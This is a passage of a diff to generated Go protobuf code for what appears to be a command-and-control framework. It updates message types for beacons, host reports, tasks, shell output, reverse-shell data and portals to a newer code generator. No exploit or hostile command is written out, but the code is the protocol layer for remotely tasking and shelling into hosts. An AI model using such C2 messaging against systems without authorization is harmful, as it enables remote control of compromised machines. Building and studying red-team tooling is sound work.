isReportProcessListRequest_Context() {} type ReportProcessListResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportProcessListResponse) Reset() { *x = ReportProcessListResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[22] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[22] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportProcessListResponse) String() string { @@ -1703,7 +1660,7 @@ func (*ReportProcessListResponse) ProtoMessage() {} func (x *ReportProcessListResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[22] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1719,21 +1676,18 @@ func (*ReportProcessListResponse) Descriptor() ([]byte, []int) { } type ReportTaskOutputMessage struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Context *TaskContext `protobuf:"bytes,1,opt,name=context,proto3" json:"context,omitempty"` + Output *TaskOutput `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` unknownFields protoimpl.UnknownFields - - Context *TaskContext `protobuf:"bytes,1,opt,name=context,proto3" json:"context,omitempty"` - Output *TaskOutput `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ReportTaskOutputMessage) Reset() { *x = ReportTaskOutputMessage{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[23] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[23] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportTaskOutputMessage) String() string { @@ -1744,7 +1698,7 @@ func (*ReportTaskOutputMessage) ProtoMessage() {} func (x *ReportTaskOutputMessage) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[23] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1774,21 +1728,18 @@ func (x *ReportTaskOutputMessage) GetOutput() *TaskOutput { } type ReportShellTaskOutputMessage struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Context *ShellTaskContext `protobuf:"bytes,1,opt,name=context,proto3" json:"context,omitempty"` + Output *ShellTaskOutput `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` unknownFields protoimpl.UnknownFields - - Context *ShellTaskContext `protobuf:"bytes,1,opt,name=context,proto3" json:"context,omitempty"` - Output *ShellTaskOutput `protobuf:"bytes,2,opt,name=output,proto3" json:"output,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ReportShellTaskOutputMessage) Reset() { *x = ReportShellTaskOutputMessage{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[24] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[24] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportShellTaskOutputMessage) String() string { @@ -1799,7 +1750,7 @@ func (*ReportShellTaskOutputMessage) ProtoMessage() {} func (x *ReportShellTaskOutputMessage) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[24] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1829,24 +1780,21 @@ func (x *ReportShellTaskOutputMessage) GetOutput() *ShellTaskOutput { } type ReportOutputRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Message: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Message: // // *ReportOutputRequest_TaskOutput // *ReportOutputRequest_ShellTaskOutput - Message isReportOutputRequest_Message `protobuf_oneof:"message"` + Message isReportOutputRequest_Message `protobuf_oneof:"message"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportOutputRequest) Reset() { *x = ReportOutputRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[25] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportOutputRequest) String() string { @@ -1857,7 +1805,7 @@ func (*ReportOutputRequest) ProtoMessage() {} func (x *ReportOutputRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[25] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1872,23 +1820,27 @@ func (*ReportOutputRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{25} } -func (m *ReportOutputRequest) GetMessage() isReportOutputRequest_Message { - if m != nil { - return m.Message +func (x *ReportOutputRequest) GetMessage() isReportOutputRequest_Message { + if x != nil { + return x.Message } return nil } func (x *ReportOutputRequest) GetTaskOutput() *ReportTaskOutputMessage { - if x, ok := x.GetMessage().(*ReportOutputRequest_TaskOutput); ok { - return x.TaskOutput + if x != nil { + if x, ok := x.Message.(*ReportOutputRequest_TaskOutput); ok { + return x.TaskOutput + } } return nil } func (x *ReportOutputRequest) GetShellTaskOutput() *ReportShellTaskOutputMessage { - if x, ok := x.GetMessage().(*ReportOutputRequest_ShellTaskOutput); ok { - return x.ShellTaskOutput + if x != nil { + if x, ok := x.Message.(*ReportOutputRequest_ShellTaskOutput); ok { + return x.ShellTaskOutput + } } return nil } @@ -1910,18 +1862,16 @@ func (*ReportOutputRequest_TaskOutput) isReportOutputRequest_Message() {} func (*ReportOutputRequest_ShellTaskOutput) isReportOutputRequest_Message() {} type ReportOutputResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReportOutputResponse) Reset() { *x = ReportOutputResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[26] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[26] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReportOutputResponse) String() string { @@ -1932,7 +1882,7 @@ func (*ReportOutputResponse) ProtoMessage() {} func (x *ReportOutputResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[26] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1948,26 +1898,23 @@ func (*ReportOutputResponse) Descriptor() ([]byte, []int) { } type ReverseShellRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *ReverseShellRequest_TaskContext // *ReverseShellRequest_ShellTaskContext - Context isReverseShellRequest_Context `protobuf_oneof:"context"` - Kind ReverseShellMessageKind `protobuf:"varint,3,opt,name=kind,proto3,enum=c2.ReverseShellMessageKind" json:"kind,omitempty"` - Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` + Context isReverseShellRequest_Context `protobuf_oneof:"context"` + Kind ReverseShellMessageKind `protobuf:"varint,3,opt,name=kind,proto3,enum=c2.ReverseShellMessageKind" json:"kind,omitempty"` + Data []byte `protobuf:"bytes,4,opt,name=data,proto3" json:"data,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *ReverseShellRequest) Reset() { *x = ReverseShellRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[27] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[27] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReverseShellRequest) String() string { @@ -1978,7 +1925,7 @@ func (*ReverseShellRequest) ProtoMessage() {} func (x *ReverseShellRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[27] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -1993,23 +1940,27 @@ func (*ReverseShellRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{27} } -func (m *ReverseShellRequest) GetContext() isReverseShellRequest_Context { - if m != nil { - return m.Context +func (x *ReverseShellRequest) GetContext() isReverseShellRequest_Context { + if x != nil { + return x.Context } return nil } func (x *ReverseShellRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*ReverseShellRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*ReverseShellRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *ReverseShellRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*ReverseShellRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*ReverseShellRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -2045,21 +1996,18 @@ func (*ReverseShellRequest_TaskContext) isReverseShellRequest_Context() {} func (*ReverseShellRequest_ShellTaskContext) isReverseShellRequest_Context() {} type ReverseShellResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Kind ReverseShellMessageKind `protobuf:"varint,1,opt,name=kind,proto3,enum=c2.ReverseShellMessageKind" json:"kind,omitempty"` + Data []byte `protobuf:"bytes,2,opt,name=data,proto3" json:"data,omitempty"` unknownFields protoimpl.UnknownFields - - Kind ReverseShellMessageKind `protobuf:"varint,1,opt,name=kind,proto3,enum=c2.ReverseShellMessageKind" json:"kind,omitempty"` - Data []byte `protobuf:"bytes,2,opt,name=data,proto3" json:"data,omitempty"` + sizeCache protoimpl.SizeCache } func (x *ReverseShellResponse) Reset() { *x = ReverseShellResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[28] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[28] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *ReverseShellResponse) String() string { @@ -2070,7 +2018,7 @@ func (*ReverseShellResponse) ProtoMessage() {} func (x *ReverseShellResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[28] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -2100,25 +2048,22 @@ func (x *ReverseShellResponse) GetData() []byte { } type CreatePortalRequest struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache - unknownFields protoimpl.UnknownFields - - // Types that are assignable to Context: + state protoimpl.MessageState `protogen:"open.v1"` + // Types that are valid to be assigned to Context: // // *CreatePortalRequest_TaskContext // *CreatePortalRequest_ShellTaskContext - Context isCreatePortalRequest_Context `protobuf_oneof:"context"` - Mote *portalpb.Mote `protobuf:"bytes,3,opt,name=mote,proto3" json:"mote,omitempty"` + Context isCreatePortalRequest_Context `protobuf_oneof:"context"` + Mote *portalpb.Mote `protobuf:"bytes,3,opt,name=mote,proto3" json:"mote,omitempty"` + unknownFields protoimpl.UnknownFields + sizeCache protoimpl.SizeCache } func (x *CreatePortalRequest) Reset() { *x = CreatePortalRequest{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[29] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[29] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *CreatePortalRequest) String() string { @@ -2129,7 +2074,7 @@ func (*CreatePortalRequest) ProtoMessage() {} func (x *CreatePortalRequest) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[29] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -2144,23 +2089,27 @@ func (*CreatePortalRequest) Descriptor() ([]byte, []int) { return file_c2_proto_rawDescGZIP(), []int{29} } -func (m *CreatePortalRequest) GetContext() isCreatePortalRequest_Context { - if m != nil { - return m.Context +func (x *CreatePortalRequest) GetContext() isCreatePortalRequest_Context { + if x != nil { + return x.Context } return nil } func (x *CreatePortalRequest) GetTaskContext() *TaskContext { - if x, ok := x.GetContext().(*CreatePortalRequest_TaskContext); ok { - return x.TaskContext + if x != nil { + if x, ok := x.Context.(*CreatePortalRequest_TaskContext); ok { + return x.TaskContext + } } return nil } func (x *CreatePortalRequest) GetShellTaskContext() *ShellTaskContext { - if x, ok := x.GetContext().(*CreatePortalRequest_ShellTaskContext); ok { - return x.ShellTaskContext + if x != nil { + if x, ok := x.Context.(*CreatePortalRequest_ShellTaskContext); ok { + return x.ShellTaskContext + } } return nil } @@ -2189,20 +2138,17 @@ func (*CreatePortalRequest_TaskContext) isCreatePortalRequest_Context() {} func (*CreatePortalRequest_ShellTaskContext) isCreatePortalRequest_Context() {} type CreatePortalResponse struct { - state protoimpl.MessageState - sizeCache protoimpl.SizeCache + state protoimpl.MessageState `protogen:"open.v1"` + Mote *portalpb.Mote `protobuf:"bytes,1,opt,name=mote,proto3" json:"mote,omitempty"` unknownFields protoimpl.UnknownFields - - Mote *portalpb.Mote `protobuf:"bytes,1,opt,name=mote,proto3" json:"mote,omitempty"` + sizeCache protoimpl.SizeCache } func (x *CreatePortalResponse) Reset() { *x = CreatePortalResponse{} - if protoimpl.UnsafeEnabled { - mi := &file_c2_proto_msgTypes[30] - ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) - ms.StoreMessageInfo(mi) - } + mi := &file_c2_proto_msgTypes[30] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) } func (x *CreatePortalResponse) String() string { @@ -2213,7 +2159,7 @@ func (*CreatePortalResponse) ProtoMessage() {} func (x *CreatePortalResponse) ProtoReflect() protoreflect.Message { mi := &file_c2_proto_msgTypes[30] - if protoimpl.UnsafeEnabled && x != nil { + if x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { ms.StoreMessageInfo(mi) @@ -2237,7 +2183,7 @@ func (x *CreatePortalResponse) GetMote() *portalpb.Mote { var File_c2_proto protoreflect.FileDescriptor -var file_c2_proto_rawDesc = []byte{ +var file_c2_proto_rawDesc = string([]byte{ 0x0a, 0x08, 0x63, 0x32, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x02, 0x63, 0x32, 0x1a, 0x1f, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x74, 0x61, 0x6d, 0x70, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, @@ -2245,7 +2191,7 @@ var file_c2_proto_rawDesc = []byte{ 0x0c, 0x70, 0x6f, 0x72, 0x74, 0x61, 0x6c, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x27, 0x0a, 0x05, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x69, 0x64, 0x65, 0x6e, - 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x22, 0xee, 0x01, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, + 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x22, 0x9a, 0x02, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x75, 0x72, 0x69, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x69, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x08, 0x69, 0x6e, 0x74, 0x65, 0x72, 0x76, @@ -2254,132 +2200,208 @@ var file_c2_proto_rawDesc = []byte{ 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x65, 0x78, 0x74, 0x72, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x6a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x05, 0x20, 0x01, 0x28, 0x02, - 0x52, 0x06, 0x6a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x22, 0x5d, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, - 0x12, 0x19, 0x0a, 0x15, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x55, 0x4e, - 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x54, - 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x47, 0x52, 0x50, 0x43, 0x10, 0x01, 0x12, - 0x13, 0x0a, 0x0f, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, 0x54, 0x5f, 0x48, 0x54, 0x54, - 0x50, 0x31, 0x10, 0x02, 0x12, 0x11, 0x0a, 0x0d, 0x54, 0x52, 0x41, 0x4e, 0x53, 0x50, 0x4f, 0x52, - 0x54, 0x5f, 0x44, 0x4e, 0x53, 0x10, 0x03, 0x22, 0x67, 0x0a, 0x13, 0x41, 0x76, 0x61, 0x69, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x12, 0x2d, - 0x0a, 0x0a, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, - 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, - 0x74, 0x52, 0x0a, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x12, 0x21, 0x0a, - 0x0c, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x5f, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, - 0x22, 0xd1, 0x01, 0x0a, 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x69, - 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x0a, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x12, 0x1c, 0x0a, 0x09, 0x70, - 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, - 0x70, 0x72, 0x69, 0x6e, 0x63, 0x69, 0x70, 0x61, 0x6c, 0x12, 0x1c, 0x0a, 0x04, 0x68, 0x6f, 0x73, - 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x08, 0x2e, 0x63, 0x32, 0x2e, 0x48, 0x6f, 0x73, - 0x74, 0x52, 0x04, 0x68, 0x6f, 0x73, 0x74, 0x12, 0x1f, 0x0a, 0x05, 0x61, 0x67, 0x65, 0x6e, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x09, 0x2e, 0x63, 0x32, 0x2e, 0x41, 0x67, 0x65, 0x6e, - 0x74, 0x52, 0x05, 0x61, 0x67, 0x65, 0x6e, 0x74, 0x12, 0x4a, 0x0a, 0x14, 0x61, 0x76, 0x61, 0x69, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x5f, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x32, 0x2e, 0x41, 0x76, 0x61, 0x69, - 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x52, - 0x13, 0x61, 0x76, 0x61, 0x69, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, - 0x6f, 0x72, 0x74, 0x73, 0x22, 0xfe, 0x01, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1e, 0x0a, - 0x0a, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0a, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x69, 0x65, 0x72, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x2d, 0x0a, 0x08, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0e, 0x32, 0x11, 0x2e, 0x63, 0x32, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x50, 0x6c, - 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x52, 0x08, 0x70, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, - 0x12, 0x1d, 0x0a, 0x0a, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x5f, 0x69, 0x70, 0x18, 0x04, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x49, 0x70, 0x22, - 0x74, 0x0a, 0x08, 0x50, 0x6c, 0x61, 0x74, 0x66, 0x6f, 0x72, 0x6d, 0x12, 0x18, 0x0a, 0x14, 0x50, - 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x55, 0x4e, 0x53, 0x50, 0x45, 0x43, 0x49, 0x46, - 0x49, 0x45, 0x44, 0x10, 0x00, 0x12, 0x14, 0x0a, 0x10, 0x50, 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, - 0x4d, 0x5f, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x10, 0x01, 0x12, 0x12, 0x0a, 0x0e, 0x50, - 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x10, 0x02, 0x12, - 0x12, 0x0a, 0x0e, 0x50, 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, 0x4d, 0x41, 0x43, 0x4f, - 0x53, 0x10, 0x03, 0x12, 0x10, 0x0a, 0x0c, 0x50, 0x4c, 0x41, 0x54, 0x46, 0x4f, 0x52, 0x4d, 0x5f, - 0x42, 0x53, 0x44, 0x10, 0x04, 0x22, 0x6b, 0x0a, 0x04, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, - 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x22, 0x0a, - 0x04, 0x74, 0x6f, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x65, 0x6c, - 0x64, 0x72, 0x69, 0x74, 0x63, 0x68, 0x2e, 0x54, 0x6f, 0x6d, 0x65, 0x52, 0x04, 0x74, 0x6f, 0x6d, - 0x65, 0x12, 0x1d, 0x0a, 0x0a, 0x71, 0x75, 0x65, 0x73, 0x74, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x71, 0x75, 0x65, 0x73, 0x74, 0x4e, 0x61, 0x6d, 0x65, - 0x12, 0x10, 0x0a, 0x03, 0x6a, 0x77, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, - 0x77, 0x74, 0x22, 0x9c, 0x01, 0x0a, 0x09, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x54, 0x61, 0x73, 0x6b, - 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, - 0x12, 0x14, 0x0a, 0x05, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x05, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x12, 0x19, 0x0a, 0x08, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x5f, - 0x69, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x07, 0x73, 0x68, 0x65, 0x6c, 0x6c, 0x49, - 0x64, 0x12, 0x1f, 0x0a, 0x0b, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, 0x5f, 0x69, 0x64, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x73, 0x65, 0x71, 0x75, 0x65, 0x6e, 0x63, 0x65, - 0x49, 0x64, 0x12, 0x1b, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x5f, 0x69, 0x64, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x49, 0x64, 0x12, - 0x10, 0x0a, 0x03, 0x6a, 0x77, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6a, 0x77, - 0x74, 0x22, 0x1d, 0x0a, 0x09, 0x54, 0x61, 0x73, 0x6b, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x10, - 0x0a, 0x03, 0x6d, 0x73, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6d, 0x73, 0x67, - 0x22, 0xe3, 0x01, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, - 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, - 0x16, 0x0a, 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x06, 0x6f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x12, 0x23, 0x0a, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x32, 0x2e, 0x54, 0x61, 0x73, 0x6b, - 0x45, 0x72, 0x72, 0x6f, 0x72, 0x52, 0x05, 0x65, 0x72, 0x72, 0x6f, 0x72, 0x12, 0x42, 0x0a, 